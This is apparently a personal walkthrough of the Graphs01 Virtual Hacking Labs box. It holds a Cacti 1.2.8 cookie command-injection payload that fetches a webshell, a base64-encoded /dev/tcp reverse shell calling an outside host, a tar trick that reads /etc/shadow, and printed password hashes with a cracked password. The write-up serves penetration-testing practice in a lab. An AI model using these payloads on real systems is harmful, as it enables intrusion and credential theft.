Graphs01 — VHL (10.11.2.245)

sudo rustscan -a 10.11.2.245 -- -A -sC

#virtual hacking labs#vhl#walkthrough#boxes#os:windows#os:linux#tech:rce#tech:cve#tech:password-attack#tech:suid

Graphs01 — VHL (10.11.2.245)

#Initial foothold via vulnerable Cacti Group CMS Version 1.2.8 https://zerontek.blogspot.com/2020/10/hacking-walkthrough-cacti-128-ubuntu.html #Make sure to get right GET Request ( GET /graph_realtime.php?action=init ) and to URL encode webshell in the cookie with meyerweb #Webshell — Once you have P0wny webshell you can just send encoded shell to get it in your terminal “echo "c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEuMS80NDMgMD4mMQo=" | base64 -d | bash” #Privesc is done with tar capabilities and ability to read files, then cracking graphs hash with unshadow https://gtfobins.github.io/gtfobins/tar/ #Privesc from SSH user is with sudo ALL permissions, you can just su to ROOT!

Information Gathering

🐺 howlsec@kalishell

$#Port Enumeration
$sudo rustscan -a 10.11.2.245 -- -A -sC
$ 
$21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
$ 
$22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
$| ssh-hostkey: 
$|   2048 4f:a7:b3:62:96:bb:a4:ab:c5:c0:f0:48:cd:f0:2d:91 (RSA)
$| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1bJuYCox01HNKGJqAdo5ba3jFZJw4b6cGQITIzBJlzbm3e7USKbKKrq7xKPrv2orFHyHoICrfJAswWXrkY7vocNNtYR3f+XmtbbVfdQXFOfvX51saVRdq8xU2xT2gdHWfZzFY9xd1Xex/DJoA99+9GJ8YDQfRTjz5qwQdpRjXlX3stuz8J7Ithoe2znAd6erqy6PMeMWd0/5pdr35oDEbX1FLRKz6atV13a20yGPcfzNcoAbqp+TVMmAStJFTcbz6WOjjC48TRxyqeQjr1juryPpDPXL5edyc02Bf18HRiQtcxrpvUg1UJH8J3k5Fy2QhID7rJeBh2bjmtypn0qd/
$|   256 8e:41:64:bf:5f:c4:f1:f8:1d:9d:c4:57:3c:d3:b8:79 (ECDSA)
$| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBXXibN8H0LXbOTPh5fGQSd8EN0HCgn7qPYelqRKpNNntkBaKAtwmbvInY/iC5RzKI7cs0KEs5Hb0t9PsMmPJ+c=
$|   256 fa:4f:7a:ea:78:f8:3a:7e:27:b9:18:d8:a2:c6:65:32 (ED25519)
$|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPnCa1i9SJXpL5VuAp+nH5doEYxq8Xg7b/ZJr/8I0I+N
$ 
$80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
$|_http-server-header: Apache/2.4.29 (Ubuntu)
$|_http-title: Login to Cacti
$|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
$| http-methods: 
$|_  Supported Methods: GET HEAD POST OPTIONS

FTP — vsftpd 3.0.3 — Nothing Here {toggle="true"}

🐺 howlsec@kalicode

01```perl

#No anonymous access ─(kali㉿kali)-[~] └─$ ftp 10.11.2.245 21 Connected to 10.11.2.245. 220 (vsFTPd 3.0.3) Name (10.11.2.245:kali): anonymous 331 Please specify the password. Password: 530 Login incorrect. ftp: Login failed ftp> ls 530 Please login with USER and PASS. 530 Please login with USER and PASS. ftp: Can't bind for data connection: Address already in use ftp> ```

Cacti Group (80) — Version 1.2.8 {toggle="true"}

🐺 howlsec@kalicode

01```perl

#Whatweb whatweb http://10.11.2.245
http://10.11.2.245 [200 OK] Apache[2.4.29], Cacti, Cookies[Cacti], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[Cacti], IP[10.11.2.245], JQuery, PasswordField[login_password], Script[text/javascript], Title[Login to Cacti], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=Edge] #Nikto nikto -host http://10.11.2.245

Nikto v2.5.0

Target IP: 10.11.2.245
Target Hostname: 10.11.2.245
Target Port: 80
Start Time: 2025-10-15 16:21:37 (GMT-4)

Server: Apache/2.4.29 (Ubuntu)
/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
/images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649
/: Web Server returns a valid response with junk HTTP methods which may cause false positives.
/: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
/install/install.php: Install file found.
/icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
/README.md: Readme Found.
8909 requests: 0 error(s) and 8 item(s) reported on remote host
End Time: 2025-10-15 16:25:56 (GMT-4) (259 seconds)

1 host(s) tested
🐺 howlsec@kalicode
```
01### Ferox {toggle="true"}
02	```c
```

#Ferox feroxbuster -u http://10.11.2.245/ -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 15

Initial Foothold https://zerontek.blogspot.com/2020/10/hacking-walkthrough-cacti-128-ubuntu.html

🐺 howlsec@kalishell

$#Exploit with msfconsole https://www.exploit-db.com/exploits/48159
$#Manual exploit with https://zerontek.blogspot.com/2020/10/hacking-walkthrough-cacti-128-ubuntu.html
$Followed Manual Exploit with Burp
$GET /graph_realtime.php?action=init
$#Cookie needs to be URL encoded
$;wget${IFS}http://172.16.1.1/webshell.php
$#Used Myerweb https://meyerweb.com/eric/tools/dencoder/
$%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F172.16.1.1%2Fwebshell.php
$#Setup a python webserver and webshell.php script I used was P0wny shell from revshell.com
$#After that I used base encoded webshell to get it in my terminal
$kali㉿kali)-[~/VHL/graphs01]
$└─$ echo "sh -i >& /dev/tcp/172.16.1.1/443 0>&1" | base64
$c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEuMS80NDMgMD4mMQo=                                                                                                                                    
$┌──(kali㉿kali)-[~/VHL/graphs01]
$└─$ echo "c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjEuMS80NDMgMD4mMQo=" | base64 -d | bash

(screenshot omitted)

Privesc

🐺 howlsec@kalishell

$#Upgrade to TTY
$python3 -c 'import pty;pty.spawn("/bin/bash")'
$#Privesc is done with tar capabilities

(screenshot omitted)

🐺 howlsec@kalishell

$#You can read files and I was able to read key.txt
$LFILE=/root/key.txt
$tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
$wanyyiymqs7tjjts8u0n

(screenshot omitted)

🐺 howlsec@kalishell

$#You can get root but reading/copying /etc/passwd & /etc/shadow
$www-data@graphs01:/var/www/html$ LFILE=/etc/passwd
$LFILE=/etc/passwd
$www-data@graphs01:/var/www/html$ tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
$tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
$root:x:0:0:root:/root:/bin/bash
$daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
$bin:x:2:2:bin:/bin:/usr/sbin/nologin
$sys:x:3:3:sys:/dev:/usr/sbin/nologin
$sync:x:4:65534:sync:/bin:/bin/sync
$games:x:5:60:games:/usr/games:/usr/sbin/nologin
$man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
$lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
$mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
$news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
$uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
$proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
$www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
$backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
$list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
$irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
$gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
$nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
$systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
$systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
$syslog:x:102:106::/home/syslog:/usr/sbin/nologin
$messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
$_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
$lxd:x:105:65534::/var/lib/lxd/:/bin/false
$uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
$dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
$landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
$pollinate:x:109:1::/var/cache/pollinate:/bin/false
$sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
$graphs:x:1000:1000:graphs:/home/graphs:/bin/bash
$mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
$Debian-snmp:x:112:115::/var/lib/snmp:/bin/false
$ftp:x:113:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
$www-data@graphs01:/var/www/html$ LFILE=/etc/shadow
$LFILE=/etc/shadow
$www-data@graphs01:/var/www/html$ tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
$tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
$root:$6$BE5bv4uN$AYPww6C5VLkX2FvzTXa4d3X7kMPg/.A2GmqxP/R//uff.nYhqHCE82nqcPzCuvWpKOucP31PvOKWJ2umWNW0w.:18369:0:99999:7:::
$daemon:*:18113:0:99999:7:::
$bin:*:18113:0:99999:7:::
$sys:*:18113:0:99999:7:::
$sync:*:18113:0:99999:7:::
$games:*:18113:0:99999:7:::
$man:*:18113:0:99999:7:::
$lp:*:18113:0:99999:7:::
$mail:*:18113:0:99999:7:::
$news:*:18113:0:99999:7:::
$uucp:*:18113:0:99999:7:::
$proxy:*:18113:0:99999:7:::
$www-data:*:18113:0:99999:7:::
$backup:*:18113:0:99999:7:::
$list:*:18113:0:99999:7:::
$irc:*:18113:0:99999:7:::
$gnats:*:18113:0:99999:7:::
$nobody:*:18113:0:99999:7:::
$systemd-network:*:18113:0:99999:7:::
$systemd-resolve:*:18113:0:99999:7:::
$syslog:*:18113:0:99999:7:::
$messagebus:*:18113:0:99999:7:::
$_apt:*:18113:0:99999:7:::
$lxd:*:18113:0:99999:7:::
$uuidd:*:18113:0:99999:7:::
$dnsmasq:*:18113:0:99999:7:::
$landscape:*:18113:0:99999:7:::
$pollinate:*:18113:0:99999:7:::
$sshd:*:18324:0:99999:7:::
$graphs:$6$ktQIuVEP$7Y0XDRn1WMHe06qlwIeV3eSrtymybugem.9xWUw7uPzXn.OdFkcK5Us/fbrPLT6DVrNLGx5jv57CbQCJabImj1:18372:0:99999:7:::
$mysql:!:18324:0:99999:7:::
$Debian-snmp:!:18324:0:99999:7:::
$ftp:*:18369:0:99999:7:::
$#once you save both files on yor kali machine, you can crack Hash for graphs user and then ssh into the box
$unshadow passwd shadow >> text         
$hashcat -m 1800 text /usr/share/wordlists/rockyou.txt

(screenshot omitted)

🐺 howlsec@kalishell

$#Privesc with graphs user
$ssh graphs@10.11.2.245             california
$# sudo -l
$graphs@graphs01:~$ sudo -l
$[sudo] password for graphs: 
$Matching Defaults entries for graphs on graphs01:
$    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
$ 
$User graphs may run the following commands on graphs01:
$    (ALL : ALL) ALL
$graphs@graphs01:~$ sudo su
$root@graphs01:/home/graphs# cd /root
$root@graphs01:~# cat key.txt
$wanyyiymqs7tjjts8u0n
$root@graphs01:~#

(screenshot omitted)